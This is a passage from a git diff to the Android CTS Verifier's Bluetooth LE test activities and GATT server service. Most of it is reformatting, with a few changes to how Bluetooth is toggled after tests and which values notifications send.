- }
break;
- case BLE_CONNECTION_UPDATE: {
+ }
+ case BLE_CONNECTION_UPDATE:
+ {
// all test done
closeDialog();
if (mPassed == true) {
@@ -177,95 +188,96 @@
return false;
}
- private BroadcastReceiver mBroadcast = new BroadcastReceiver() {
- @Override
- public void onReceive(Context context, Intent intent) {
- String action = intent.getAction();
- switch (action) {
- case BleConnectionPriorityClientService.ACTION_BLUETOOTH_DISABLED:
- new AlertDialog.Builder(context)
- .setTitle(R.string.ble_bluetooth_disable_title)
- .setMessage(R.string.ble_bluetooth_disable_message)
- .setOnCancelListener(new Dialog.OnCancelListener() {
- @Override
- public void onCancel(DialogInterface dialog) {
- finish();
+ private BroadcastReceiver mBroadcast =
+ new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ String action = intent.getAction();
+ switch (action) {
+ case BleConnectionPriorityClientService.ACTION_BLUETOOTH_DISABLED:
+ new AlertDialog.Builder(context)
+ .setTitle(R.string.ble_bluetooth_disable_title)
+ .setMessage(R.string.ble_bluetooth_disable_message)
+ .setOnCancelListener(
+ new Dialog.OnCancelListener() {
+ @Override
+ public void onCancel(DialogInterface dialog) {
+ finish();
+ }
+ })
+ .create()
+ .show();
+ break;
+ case BleConnectionPriorityClientService
+ .ACTION_CONNECTION_SERVICES_DISCOVERED:
+ showProgressDialog();
+ executeNextTest(3000);
+ break;
+ case BleConnectionPriorityClientService.ACTION_CONNECTION_PRIORITY_FINISH:
+ mTestAdapter.setTestPass(BLE_CONNECTION_UPDATE);
+ mPassed = true;
+ executeNextTest(1000);
+ break;
+ case BleConnectionPriorityClientService.ACTION_BLUETOOTH_MISMATCH_SECURE:
+ showErrorDialog(
+ R.string.ble_bluetooth_mismatch_title,
+ R.string.ble_bluetooth_mismatch_secure_message,
+ true);
+ break;
+ case BleConnectionPriorityClientService.ACTION_BLUETOOTH_MISMATCH_INSECURE:
+ showErrorDialog(
+ R.string.ble_bluetooth_mismatch_title,
+ R.string.ble_bluetooth_mismatch_insecure_message,
+ true);
+ break;
+ case BleConnectionPriorityClientService.ACTION_FINISH_DISCONNECT:
+ if (shouldRebootBluetoothAfterTest()) {
+ mBtPowerSwitcher.executeSwitching();
+ } else {
+ getPassButton().setEnabled(true);
}
- })
- .create().show();
- break;
- case BleConnectionPriorityClientService.ACTION_CONNECTION_SERVICES_DISCOVERED:
- showProgressDialog();
- executeNextTest(3000);
- break;
- case BleConnectionPriorityClientService.ACTION_CONNECTION_PRIORITY_FINISH:
- mTestAdapter.setTestPass(BLE_CONNECTION_UPDATE);
- mPassed = true;
- executeNextTest(1000);
- break;
- case BleConnectionPriorityClientService.ACTION_BLUETOOTH_MISMATCH_SECURE:
- showErrorDialog(R.string.ble_bluetooth_mismatch_title, R.string.ble_bluetooth_mismatch_secure_message, true);
- break;
- case BleConnectionPriorityClientService.ACTION_BLUETOOTH_MISMATCH_INSECURE:
- showErrorDialog(R.string.ble_bluetooth_mismatch_title, R.string.ble_bluetooth_mismatch_insecure_message, true);
- break;
- case BleConnectionPriorityClientService.ACTION_FINISH_DISCONNECT:
- if (shouldRebootBluetoothAfterTest()) {
- mBtPowerSwitcher.executeSwitching();
- } else {
- getPassButton().setEnabled(true);
+ break;
+ }
+ mTestAdapter.notifyDataSetChanged();
}
- break;
- }
- mTestAdapter.notifyDataSetChanged();
- }
- };
+ };
- private static final long BT_ON_DELAY = 10000;
private final BluetoothPowerSwitcher mBtPowerSwitcher = new BluetoothPowerSwitcher();
+
private class BluetoothPowerSwitcher extends BroadcastReceiver {
private boolean mIsSwitching = false;
- private BluetoothAdapter mAdapter;
- public void executeSwitching() {
- if (mAdapter == null) {
- BluetoothManager btMgr = (BluetoothManager) getSystemService(Context.BLUETOOTH_SERVICE);
- mAdapter = btMgr.getAdapter();
+ private class BluetoothHandler extends Handler {
+ BluetoothHandler(Looper looper) {
+ super(looper);
}
+ @Override
+ public void handleMessage(Message msg) {
+ switch (msg.what) {
+ case BleConnectionPriorityClientBaseActivity.DISABLE_ADAPTER:
+ mIsSwitching = false;
+ getPassButton().setEnabled(true);
+ closeDialog();
+ break;
+ }
+ }
+ }
+
+ public void executeSwitching() {
+ mHandler = new BluetoothHandler(Looper.getMainLooper());
if (!mIsSwitching) {
- IntentFilter filter = new IntentFilter(BluetoothAdapter.ACTION_STATE_CHANGED);
- registerReceiver(this, filter);
mIsSwitching = true;
- mHandler.postDelayed(new Runnable() {
- @Override
- public void run() {
- mAdapter.disable();
- }
- }, 1000);
+ Message msg =
+ mHandler.obtainMessage(
+ BleConnectionPriorityClientBaseActivity.DISABLE_ADAPTER);
+ mHandler.sendMessageDelayed(msg, 5000);
showProgressDialog();
}
}
@Override
- public void onReceive(Context context, Intent intent) {
- if (intent.getAction().equals(BluetoothAdapter.ACTION_STATE_CHANGED)) {
- int state = intent.getIntExtra(BluetoothAdapter.EXTRA_STATE, -1);
- if (state == BluetoothAdapter.STATE_OFF) {
- mHandler.postDelayed(new Runnable() {
- @Override
- public void run() {
- mAdapter.enable();
- }
- }, BT_ON_DELAY);
- } else if (state == BluetoothAdapter.STATE_ON) {
- mIsSwitching = false;
- unregisterReceiver(this);
- getPassButton().setEnabled(true);
- closeDialog();
- }
- }
- }
+ public void onReceive(Context context, Intent intent) {}
}
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleEncryptedClientBaseActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleEncryptedClientBaseActivity.java
index 38cad0f..2483a04 100755
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleEncryptedClientBaseActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleEncryptedClientBaseActivity.java
@@ -16,6 +16,8 @@
package com.android.cts.verifier.bluetooth;
+import static com.android.compatibility.common.util.ShellIdentityUtils.invokeWithShellPermissions;
+
import android.app.AlertDialog;
import android.app.Dialog;
import android.app.ProgressDialog;
@@ -46,10 +48,10 @@
private Dialog mDialog;
private Handler mHandler;
- private final int BLE_WRITE_ENCRIPTED_CHARACTERISTIC = 0;
- private final int BLE_READ_ENCRIPTED_CHARACTERISTIC = 1;
- private final int BLE_WRITE_ENCRIPTED_DESCRIPTOR = 2;
- private final int BLE_READ_ENCRIPTED_DESCRIPTOR = 3;
+ private final int BLE_WRITE_ENCRYPTED_CHARACTERISTIC = 0;
+ private final int BLE_READ_ENCRYPTED_CHARACTERISTIC = 1;
+ private final int BLE_WRITE_ENCRYPTED_DESCRIPTOR = 2;
+ private final int BLE_READ_ENCRYPTED_DESCRIPTOR = 3;
@Override
protected void onCreate(Bundle savedInstanceState) {
@@ -68,23 +70,28 @@
listView.setOnItemClickListener(new ListView.OnItemClickListener() {
@Override
public void onItemClick(AdapterView<?> adapterView, View view, int position, long id) {
- Intent intent = new Intent(BleEncryptedClientBaseActivity.this, BleEncryptedClientService.class);
+ Intent intent = new Intent(BleEncryptedClientBaseActivity.this,
+ BleEncryptedClientService.class);
Log.v(getLocalClassName(), "onItemClick()");
switch (position) {
- case BLE_WRITE_ENCRIPTED_CHARACTERISTIC:
- intent.setAction(BleEncryptedClientService.ACTION_WRITE_ENCRYPTED_CHARACTERISTIC);
- break;
- case BLE_READ_ENCRIPTED_CHARACTERISTIC:
- intent.setAction(BleEncryptedClientService.ACTION_READ_ENCRYPTED_CHARACTERISTIC);
- break;
- case BLE_WRITE_ENCRIPTED_DESCRIPTOR:
- intent.setAction(BleEncryptedClientService.ACTION_WRITE_ENCRYPTED_DESCRIPTOR);
- break;
- case BLE_READ_ENCRIPTED_DESCRIPTOR:
- intent.setAction(BleEncryptedClientService.ACTION_READ_ENCRYPTED_DESCRIPTOR);
- break;
- default:
- return;
+ case BLE_WRITE_ENCRYPTED_CHARACTERISTIC:
+ intent.setAction(
+ BleEncryptedClientService.ACTION_WRITE_ENCRYPTED_CHARACTERISTIC);
+ break;
+ case BLE_READ_ENCRYPTED_CHARACTERISTIC:
+ intent.setAction(
+ BleEncryptedClientService.ACTION_READ_ENCRYPTED_CHARACTERISTIC);
+ break;
+ case BLE_WRITE_ENCRYPTED_DESCRIPTOR:
+ intent.setAction(
+ BleEncryptedClientService.ACTION_WRITE_ENCRYPTED_DESCRIPTOR);
+ break;
+ case BLE_READ_ENCRYPTED_DESCRIPTOR:
+ intent.setAction(
+ BleEncryptedClientService.ACTION_READ_ENCRYPTED_DESCRIPTOR);
+ break;
+ default:
+ return;
}
startService(intent);
showProgressDialog();
@@ -172,77 +179,83 @@
return false;
}
- public boolean isSecure() { return false; }
+ public boolean isSecure() {
+ return false;
+ }
private BroadcastReceiver mBroadcast = new BroadcastReceiver() {
@Override
public void onReceive(Context context, Intent intent) {
String action = intent.getAction();
switch (action) {
- case BleEncryptedClientService.INTENT_BLE_BLUETOOTH_DISABLED:
- showErrorDialog(getString(R.string.ble_bluetooth_disable_title), getString(R.string.ble_bluetooth_disable_message), true);
- break;
- case BleEncryptedClientService.INTENT_BLE_WRITE_ENCRYPTED_CHARACTERISTIC:
- mTestAdapter.setTestPass(BLE_WRITE_ENCRIPTED_CHARACTERISTIC);
- mAllPassed |= 0x01;
- if (!isSecure()) {
+ case BleEncryptedClientService.INTENT_BLE_BLUETOOTH_DISABLED:
+ showErrorDialog(getString(R.string.ble_bluetooth_disable_title),
+ getString(R.string.ble_bluetooth_disable_message), true);
+ break;
+ case BleEncryptedClientService.INTENT_BLE_WRITE_ENCRYPTED_CHARACTERISTIC:
+ mTestAdapter.setTestPass(BLE_WRITE_ENCRYPTED_CHARACTERISTIC);
+ mAllPassed |= 0x01;
closeDialog();
- }
- break;
- case BleEncryptedClientService.INTENT_BLE_READ_ENCRYPTED_CHARACTERISTIC:
- mTestAdapter.setTestPass(BLE_READ_ENCRIPTED_CHARACTERISTIC);
- mAllPassed |= 0x02;
- if (!isSecure()) {
+ break;
+ case BleEncryptedClientService.INTENT_BLE_READ_ENCRYPTED_CHARACTERISTIC:
+ mTestAdapter.setTestPass(BLE_READ_ENCRYPTED_CHARACTERISTIC);
+ mAllPassed |= 0x02;
closeDialog();
- }
- break;
- case BleEncryptedClientService.INTENT_BLE_WRITE_ENCRYPTED_DESCRIPTOR:
- mTestAdapter.setTestPass(BLE_WRITE_ENCRIPTED_DESCRIPTOR);
- mAllPassed |= 0x04;
- if (!isSecure()) {
+ break;
+ case BleEncryptedClientService.INTENT_BLE_WRITE_ENCRYPTED_DESCRIPTOR:
+ mTestAdapter.setTestPass(BLE_WRITE_ENCRYPTED_DESCRIPTOR);
+ mAllPassed |= 0x04;
closeDialog();
- }
- break;
- case BleEncryptedClientService.INTENT_BLE_READ_ENCRYPTED_DESCRIPTOR:
- mTestAdapter.setTestPass(BLE_READ_ENCRIPTED_DESCRIPTOR);
- mAllPassed |= 0x08;
- if (!isSecure()) {
+ break;
+ case BleEncryptedClientService.INTENT_BLE_READ_ENCRYPTED_DESCRIPTOR:
+ mTestAdapter.setTestPass(BLE_READ_ENCRYPTED_DESCRIPTOR);
+ mAllPassed |= 0x08;
closeDialog();
- }
- break;
- case BleEncryptedClientService.INTENT_BLE_WRITE_NOT_ENCRYPTED_CHARACTERISTIC:
- showErrorDialog(getString(R.string.ble_encrypted_client_name), getString(R.string.ble_encrypted_client_no_encrypted_characteristic), false);
- break;
- case BleEncryptedClientService.INTENT_BLE_READ_NOT_ENCRYPTED_CHARACTERISTIC:
- showErrorDialog(getString(R.string.ble_encrypted_client_name), getString(R.string.ble_encrypted_client_no_encrypted_characteristic), false);
- break;
- case BleEncryptedClientService.INTENT_BLE_WRITE_NOT_ENCRYPTED_DESCRIPTOR:
- showErrorDialog(getString(R.string.ble_encrypted_client_name), getString(R.string.ble_encrypted_client_no_encrypted_descriptor), false);
- break;
- case BleEncryptedClientService.INTENT_BLE_READ_NOT_ENCRYPTED_DESCRIPTOR:
- showErrorDialog(getString(R.string.ble_encrypted_client_name), getString(R.string.ble_encrypted_client_no_encrypted_descriptor), false);
- break;
+ break;
+ case BleEncryptedClientService.INTENT_BLE_WRITE_NOT_ENCRYPTED_CHARACTERISTIC:
+ showErrorDialog(getString(R.string.ble_encrypted_client_name),
+ getString(R.string.ble_encrypted_client_no_encrypted_characteristic),
+ false);
+ break;
+ case BleEncryptedClientService.INTENT_BLE_READ_NOT_ENCRYPTED_CHARACTERISTIC:
+ showErrorDialog(getString(R.string.ble_encrypted_client_name),
+ getString(R.string.ble_encrypted_client_no_encrypted_characteristic),
+ false);
+ break;
+ case BleEncryptedClientService.INTENT_BLE_WRITE_NOT_ENCRYPTED_DESCRIPTOR:
+ showErrorDialog(getString(R.string.ble_encrypted_client_name),
+ getString(R.string.ble_encrypted_client_no_encrypted_descriptor),
+ false);
+ break;
+ case BleEncryptedClientService.INTENT_BLE_READ_NOT_ENCRYPTED_DESCRIPTOR:
+ showErrorDialog(getString(R.string.ble_encrypted_client_name),
+ getString(R.string.ble_encrypted_client_no_encrypted_descriptor),
+ false);
+ break;
- case BleEncryptedClientService.INTENT_BLE_WRITE_FAIL_ENCRYPTED_CHARACTERISTIC:
- showErrorDialog(getString(R.string.ble_encrypted_client_name), getString(R.string.ble_encrypted_client_fail_write_encrypted_characteristic), false);
- break;
- case BleEncryptedClientService.INTENT_BLE_READ_FAIL_ENCRYPTED_CHARACTERISTIC:
- showErrorDialog(getString(R.string.ble_encrypted_client_name), getString(R.string.ble_encrypted_client_fail_read_encrypted_characteristic), false);
- break;
- case BleEncryptedClientService.INTENT_BLE_WRITE_FAIL_ENCRYPTED_DESCRIPTOR:
- showErrorDialog(getString(R.string.ble_encrypted_client_name), getString(R.string.ble_encrypted_client_fail_write_encrypted_descriptor), false);
- break;
- case BleEncryptedClientService.INTENT_BLE_READ_FAIL_ENCRYPTED_DESCRIPTOR:
- showErrorDialog(getString(R.string.ble_encrypted_client_name), getString(R.string.ble_encrypted_client_fail_read_encrypted_descriptor), false);
- break;
+ case BleEncryptedClientService.INTENT_BLE_WRITE_FAIL_ENCRYPTED_CHARACTERISTIC:
+ showErrorDialog(getString(R.string.ble_encrypted_client_name), getString(
+ R.string.ble_encrypted_client_fail_write_encrypted_characteristic),
+ false);
+ break;
+ case BleEncryptedClientService.INTENT_BLE_READ_FAIL_ENCRYPTED_CHARACTERISTIC:
+ showErrorDialog(getString(R.string.ble_encrypted_client_name), getString(
+ R.string.ble_encrypted_client_fail_read_encrypted_characteristic),
+ false);
+ break;
+ case BleEncryptedClientService.INTENT_BLE_WRITE_FAIL_ENCRYPTED_DESCRIPTOR:
+ showErrorDialog(getString(R.string.ble_encrypted_client_name), getString(
+ R.string.ble_encrypted_client_fail_write_encrypted_descriptor), false);
+ break;
+ case BleEncryptedClientService.INTENT_BLE_READ_FAIL_ENCRYPTED_DESCRIPTOR:
+ showErrorDialog(getString(R.string.ble_encrypted_client_name),
+ getString(R.string.ble_encrypted_client_fail_read_encrypted_descriptor),
+ false);
+ break;
- case BleEncryptedClientService.ACTION_DISCONNECTED:
- if (shouldRebootBluetoothAfterTest()) {
- mBtPowerSwitcher.executeSwitching();
- } else {
+ case BleEncryptedClientService.ACTION_DISCONNECTED:
closeDialog();
- }
- break;
+ break;
}
mTestAdapter.notifyDataSetChanged();
@@ -254,6 +267,7 @@
private static final long BT_ON_DELAY = 10000;
private final BluetoothPowerSwitcher mBtPowerSwitcher = new BluetoothPowerSwitcher();
+
private class BluetoothPowerSwitcher extends BroadcastReceiver {
private boolean mIsSwitching = false;
@@ -261,7 +275,8 @@
public void executeSwitching() {
if (mAdapter == null) {
- BluetoothManager btMgr = (BluetoothManager) getSystemService(Context.BLUETOOTH_SERVICE);
+ BluetoothManager btMgr = (BluetoothManager) getSystemService(
+ Context.BLUETOOTH_SERVICE);
mAdapter = btMgr.getAdapter();
}
@@ -283,12 +298,8 @@
if (intent.getAction().equals(BluetoothAdapter.ACTION_STATE_CHANGED)) {
int state = intent.getIntExtra(BluetoothAdapter.EXTRA_STATE, -1);
if (state == BluetoothAdapter.STATE_OFF) {
- mHandler.postDelayed(new Runnable() {
- @Override
- public void run() {
- mAdapter.enable();
- }
- }, BT_ON_DELAY);
+ mHandler.postDelayed(() ->
+ invokeWithShellPermissions(() -> mAdapter.enable()), BT_ON_DELAY);
} else if (state == BluetoothAdapter.STATE_ON) {
mIsSwitching = false;
unregisterReceiver(this);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleServerService.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleServerService.java
index 1cd3093..4d5f4a6 100755
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleServerService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleServerService.java
@@ -84,7 +84,8 @@
public static final String BLE_CHARACTERISTIC_READ_REQUEST_WITHOUT_PERMISSION =
"com.android.cts.verifier.bluetooth.BLE_CHARACTERISTIC_READ_REQUEST_WITHOUT_PERMISSION";
public static final String BLE_CHARACTERISTIC_WRITE_REQUEST_WITHOUT_PERMISSION =
- "com.android.cts.verifier.bluetooth.BLE_CHARACTERISTIC_WRITE_REQUEST_WITHOUT_PERMISSION";
+ "com.android.cts.verifier.bluetooth"
+ + ".BLE_CHARACTERISTIC_WRITE_REQUEST_WITHOUT_PERMISSION";
public static final String BLE_CHARACTERISTIC_READ_REQUEST_NEED_ENCRYPTED =
"com.android.cts.verifier.bluetooth.BLE_CHARACTERISTIC_READ_REQUEST_NEED_ENCRYPTED";
public static final String BLE_CHARACTERISTIC_WRITE_REQUEST_NEED_ENCRYPTED =
@@ -128,7 +129,7 @@
UUID.fromString("00009997-0000-1000-8000-00805f9b34fb");
private static final UUID DESCRIPTOR_UUID =
UUID.fromString("00009996-0000-1000-8000-00805f9b34fb");
- public static final UUID ADV_SERVICE_UUID=
+ public static final UUID ADV_SERVICE_UUID =
UUID.fromString("00003333-0000-1000-8000-00805f9b34fb");
private static final UUID SERVICE_UUID_ADDITIONAL =
@@ -299,20 +300,20 @@
String action = intent.getAction();
if (action != null) {
switch (action) {
- case BLE_ACTION_SERVER_SECURE:
- mSecure = true;
- if (Build.VERSION.SDK_INT <= Build.VERSION_CODES.M) {
- showMessage("Skip MTU test.");
- mCountMtuChange = 1;
- notifyMtuRequest();
- mCountMtuChange = 2;
- notifyMtuRequest();
- mCountMtuChange = 0;
- }
- break;
- case BLE_ACTION_SERVER_NON_SECURE:
- mSecure = false;
- break;
+ case BLE_ACTION_SERVER_SECURE:
+ mSecure = true;
+ if (Build.VERSION.SDK_INT <= Build.VERSION_CODES.M) {
+ showMessage("Skip MTU test.");
+ mCountMtuChange = 1;
+ notifyMtuRequest();
+ mCountMtuChange = 2;
+ notifyMtuRequest();
+ mCountMtuChange = 0;
+ }
+ break;
+ case BLE_ACTION_SERVER_NON_SECURE:
+ mSecure = false;
+ break;
}
}
@@ -333,7 +334,7 @@
cancelNotificationTaskOfSecureTestStartFailure();
stopAdvertise();
if (mGattServer == null) {
- return;
+ return;
}
if (mDevice != null) {
mGattServer.cancelConnection(mDevice);
@@ -627,7 +628,8 @@
private BluetoothGattService createServiceChangedService() {
BluetoothGattService service =
- new BluetoothGattService(SERVICE_UUID_SERVICE_CHANGED, BluetoothGattService.SERVICE_TYPE_PRIMARY);
+ new BluetoothGattService(SERVICE_UUID_SERVICE_CHANGED,
+ BluetoothGattService.SERVICE_TYPE_PRIMARY);
BluetoothGattCharacteristic dummyCharacteristic =
new BluetoothGattCharacteristic(SERVICE_CHANGED_CHARACTERISTIC_UUID, 0x02, 0x02);
@@ -638,15 +640,16 @@
/**
* Create service for notification test
- * @return
*/
private BluetoothGattService createAdditionalNotificationService() {
BluetoothGattService service =
- new BluetoothGattService(SERVICE_UUID_ADDITIONAL, BluetoothGattService.SERVICE_TYPE_PRIMARY);
+ new BluetoothGattService(SERVICE_UUID_ADDITIONAL,
+ BluetoothGattService.SERVICE_TYPE_PRIMARY);
BluetoothGattCharacteristic notiCharacteristic =
new BluetoothGattCharacteristic(UPDATE_CHARACTERISTIC_UUID_1, 0x12, 0x1);
- BluetoothGattDescriptor descriptor = new BluetoothGattDescriptor(UPDATE_DESCRIPTOR_UUID, 0x11);
+ BluetoothGattDescriptor descriptor = new BluetoothGattDescriptor(UPDATE_DESCRIPTOR_UUID,
+ 0x11);
descriptor.setValue(BluetoothGattDescriptor.DISABLE_NOTIFICATION_VALUE);
notiCharacteristic.addDescriptor(descriptor);
notiCharacteristic.setValue(NOTIFY_VALUE);
@@ -738,7 +741,8 @@
descriptor.setValue(WRITE_VALUE.getBytes());
characteristic.addDescriptor(descriptor);
- BluetoothGattDescriptor descriptor_permission = new BluetoothGattDescriptor(DESCRIPTOR_NO_READ_UUID, 0x10);
+ BluetoothGattDescriptor descriptor_permission = new BluetoothGattDescriptor(
+ DESCRIPTOR_NO_READ_UUID, 0x10);
characteristic.addDescriptor(descriptor_permission);
descriptor_permission = new BluetoothGattDescriptor(DESCRIPTOR_NO_WRITE_UUID, 0x01);
@@ -749,10 +753,12 @@
characteristic =
new BluetoothGattCharacteristic(CHARACTERISTIC_RESULT_UUID, 0x0A, 0x11);
- BluetoothGattDescriptor descriptor_encrypted = new BluetoothGattDescriptor(DESCRIPTOR_NEED_ENCRYPTED_READ_UUID, 0x02);
+ BluetoothGattDescriptor descriptor_encrypted = new BluetoothGattDescriptor(
+ DESCRIPTOR_NEED_ENCRYPTED_READ_UUID, 0x02);
characteristic.addDescriptor(descriptor_encrypted);
- descriptor_encrypted = new BluetoothGattDescriptor(DESCRIPTOR_NEED_ENCRYPTED_WRITE_UUID, 0x20);
+ descriptor_encrypted = new BluetoothGattDescriptor(DESCRIPTOR_NEED_ENCRYPTED_WRITE_UUID,
+ 0x20);
characteristic.addDescriptor(descriptor_encrypted);
service.addCharacteristic(characteristic);
@@ -770,11 +776,13 @@
// Registered the characteristic of authenticate (Encrypted) for operation confirmation.
characteristic =
- new BluetoothGattCharacteristic(CHARACTERISTIC_NEED_ENCRYPTED_READ_UUID, 0x0A, 0x02);
+ new BluetoothGattCharacteristic(CHARACTERISTIC_NEED_ENCRYPTED_READ_UUID, 0x0A,
+ 0x02);
service.addCharacteristic(characteristic);
characteristic =
- new BluetoothGattCharacteristic(CHARACTERISTIC_NEED_ENCRYPTED_WRITE_UUID, 0x0A, 0x20);
+ new BluetoothGattCharacteristic(CHARACTERISTIC_NEED_ENCRYPTED_WRITE_UUID, 0x0A,
+ 0x20);
service.addCharacteristic(characteristic);
// Add new Characteristics(Indicate)
@@ -837,7 +845,8 @@
// Add new Characteristics (Service change control)
BluetoothGattCharacteristic controlCharacteristic =
- new BluetoothGattCharacteristic(SERVICE_CHANGED_CONTROL_CHARACTERISTIC_UUID, 0x08, 0x10);
+ new BluetoothGattCharacteristic(SERVICE_CHANGED_CONTROL_CHARACTERISTIC_UUID, 0x08,
+ 0x10);
service.addCharacteristic(controlCharacteristic);
return service;
@@ -892,7 +901,8 @@
if (newState == BluetoothProfile.STATE_CONNECTED) {
mDevice = device;
boolean bonded = false;
- Set<BluetoothDevice> pairedDevices = mBluetoothManager.getAdapter().getBondedDevices();
+ Set<BluetoothDevice> pairedDevices =
+ mBluetoothManager.getAdapter().getBondedDevices();
if (pairedDevices.size() > 0) {
for (BluetoothDevice target : pairedDevices) {
if (target.getAddress().equals(device.getAddress())) {
@@ -902,7 +912,8 @@
}
}
- if (mSecure && ((device.getBondState() == BluetoothDevice.BOND_NONE) || !bonded)) {
+ if (mSecure && ((device.getBondState() == BluetoothDevice.BOND_NONE)
+ || !bonded)) {
// not pairing and execute Secure Test
cancelNotificationTaskOfSecureTestStartFailure();
/*
@@ -910,7 +921,8 @@
@Override
public void run() {
mNotificationTaskOfSecureTestStartFailure = null;
- if (mSecure && (mDevice.getBondState() != BluetoothDevice.BOND_BONDED)) {
+ if (mSecure && (mDevice.getBondState() != BluetoothDevice
+ .BOND_BONDED)) {
notifyMismatchSecure();
}
}
@@ -918,7 +930,8 @@
mHandler.postDelayed(mNotificationTaskOfSecureTestStartFailure,
NOTIFICATION_DELAY_OF_SECURE_TEST_FAILURE);
*/
- } else if (!mSecure && ((device.getBondState() != BluetoothDevice.BOND_NONE) || bonded)) {
+ } else if (!mSecure && ((device.getBondState() != BluetoothDevice.BOND_NONE)
+ || bonded)) {
// already pairing nad execute Insecure Test
/*
notifyMismatchInsecure();
@@ -946,11 +959,13 @@
if (uuid.equals(mService.getUuid())) {
// create and add nested service
BluetoothGattService includedService =
- new BluetoothGattService(SERVICE_UUID_INCLUDED, BluetoothGattService.SERVICE_TYPE_SECONDARY);
+ new BluetoothGattService(SERVICE_UUID_INCLUDED,
+ BluetoothGattService.SERVICE_TYPE_SECONDARY);
BluetoothGattCharacteristic characteristic =
- new BluetoothGattCharacteristic(CHARACTERISTIC_UUID, 0x0A, 0x11);
+ new BluetoothGattCharacteristic(CHARACTERISTIC_UUID, 0x0A, 0x11);
characteristic.setValue(WRITE_VALUE.getBytes());
- BluetoothGattDescriptor descriptor = new BluetoothGattDescriptor(DESCRIPTOR_UUID, 0x11);
+ BluetoothGattDescriptor descriptor = new BluetoothGattDescriptor(
+ DESCRIPTOR_UUID, 0x11);
descriptor.setValue(WRITE_VALUE.getBytes());
characteristic.addDescriptor(descriptor);
includedService.addCharacteristic(characteristic);
@@ -972,7 +987,8 @@
}
@Override
- public void onCharacteristicReadRequest(BluetoothDevice device, int requestId, int offset, BluetoothGattCharacteristic characteristic) {
+ public void onCharacteristicReadRequest(BluetoothDevice device, int requestId, int offset,
+ BluetoothGattCharacteristic characteristic) {
if (mGattServer == null) {
if (DEBUG) {
Log.d(TAG, "GattServer is null, return");
@@ -1024,7 +1040,8 @@
return;
}
if (DEBUG) {
- Log.d(TAG, "onCharacteristicWriteRequest: preparedWrite=" + preparedWrite + ", responseNeeded= " + responseNeeded);
+ Log.d(TAG, "onCharacteristicWriteRequest: preparedWrite=" + preparedWrite
+ + ", responseNeeded= " + responseNeeded);
}
if (characteristic.getUuid().equals(CHARACTERISTIC_RESULT_UUID)) {
@@ -1048,14 +1065,16 @@
break;
}
if (responseNeeded) {
- mGattServer.sendResponse(device, requestId, BluetoothGatt.GATT_SUCCESS, offset, value);
+ mGattServer.sendResponse(device, requestId, BluetoothGatt.GATT_SUCCESS, offset,
+ value);
}
return;
}
if (characteristic.getUuid().equals(SERVICE_CHANGED_CONTROL_CHARACTERISTIC_UUID)) {
if (responseNeeded) {
- mGattServer.sendResponse(device, requestId, BluetoothGatt.GATT_SUCCESS, offset, value);
+ mGattServer.sendResponse(device, requestId, BluetoothGatt.GATT_SUCCESS, offset,
+ value);
}
mGattServer.removeService(mServiceChangedService);
return;
@@ -1073,7 +1092,8 @@
}
}
if (responseNeeded) {
- mGattServer.sendResponse(device, requestId, BluetoothGatt.GATT_SUCCESS, offset, value);
+ mGattServer.sendResponse(device, requestId, BluetoothGatt.GATT_SUCCESS, offset,
+ value);
}
return;
@@ -1092,7 +1112,8 @@
} else {
characteristic.setValue(value);
// verify
- if (Arrays.equals(BleClientService.WRITE_VALUE.getBytes(), characteristic.getValue())) {
+ if (Arrays.equals(BleClientService.WRITE_VALUE.getBytes(),
+ characteristic.getValue())) {
UUID uid = characteristic.getUuid();
if (uid.equals(CHARACTERISTIC_NEED_ENCRYPTED_WRITE_UUID)) {
notifyCharacteristicWriteRequestNeedEncrypted();
@@ -1105,7 +1126,8 @@
}
if (responseNeeded) {
- mGattServer.sendResponse(device, requestId, BluetoothGatt.GATT_SUCCESS, offset, value);
+ mGattServer.sendResponse(device, requestId, BluetoothGatt.GATT_SUCCESS, offset,
+ value);
}
}
@@ -1118,13 +1140,13 @@
}
return;
}
- if (DEBUG) {
+ if (DEBUG) {
Log.d(TAG, "onDescriptorReadRequest(): (descriptor == getDescriptor())="
+ (descriptor == getDescriptor()));
}
UUID uid = descriptor.getUuid();
- if (uid.equals(DESCRIPTOR_NEED_ENCRYPTED_READ_UUID)){
+ if (uid.equals(DESCRIPTOR_NEED_ENCRYPTED_READ_UUID)) {
notifyDescriptorReadRequestNeedEncrypted();
} else {
notifyDescriptorReadRequest();
@@ -1142,7 +1164,7 @@
public void onDescriptorWriteRequest(BluetoothDevice device, int requestId,
BluetoothGattDescriptor descriptor,
boolean preparedWrite, boolean responseNeeded,
- int offset, byte[] value) {
+ int offset, byte[] value) {
if (mGattServer == null) {
if (DEBUG) {
Log.d(TAG, "GattServer is null, return");
@@ -1152,7 +1174,8 @@
BluetoothGattCharacteristic characteristic = descriptor.getCharacteristic();
UUID uid = characteristic.getUuid();
if (DEBUG) {
- Log.d(TAG, "onDescriptorWriteRequest: preparedWrite=" + preparedWrite + ", responseNeeded= " + responseNeeded);
+ Log.d(TAG, "onDescriptorWriteRequest: preparedWrite=" + preparedWrite
+ + ", responseNeeded= " + responseNeeded);
Log.d(TAG, " characteristic uuid = " + uid);
}
@@ -1161,11 +1184,14 @@
if (duid.equals(UPDATE_DESCRIPTOR_UUID)) {
if (Arrays.equals(value, BluetoothGattDescriptor.ENABLE_NOTIFICATION_VALUE)) {
mGattServer.notifyCharacteristicChanged(
- mDevice, descriptor.getCharacteristic(), false, value);
+ mDevice, descriptor.getCharacteristic(), false,
+ characteristic.getValue());
+
mIndicated = false;
} else if (Arrays.equals(value, BluetoothGattDescriptor.ENABLE_INDICATION_VALUE)) {
mGattServer.notifyCharacteristicChanged(
- mDevice, descriptor.getCharacteristic(), true, value);
+ mDevice, descriptor.getCharacteristic(), true,
+ characteristic.getValue());
mIndicated = true;
}
} else if (duid.equals(DESCRIPTOR_NEED_ENCRYPTED_WRITE_UUID)) {
@@ -1184,7 +1210,8 @@
}
}
if (responseNeeded) {
- mGattServer.sendResponse(device, requestId, BluetoothGatt.GATT_SUCCESS, offset, value);
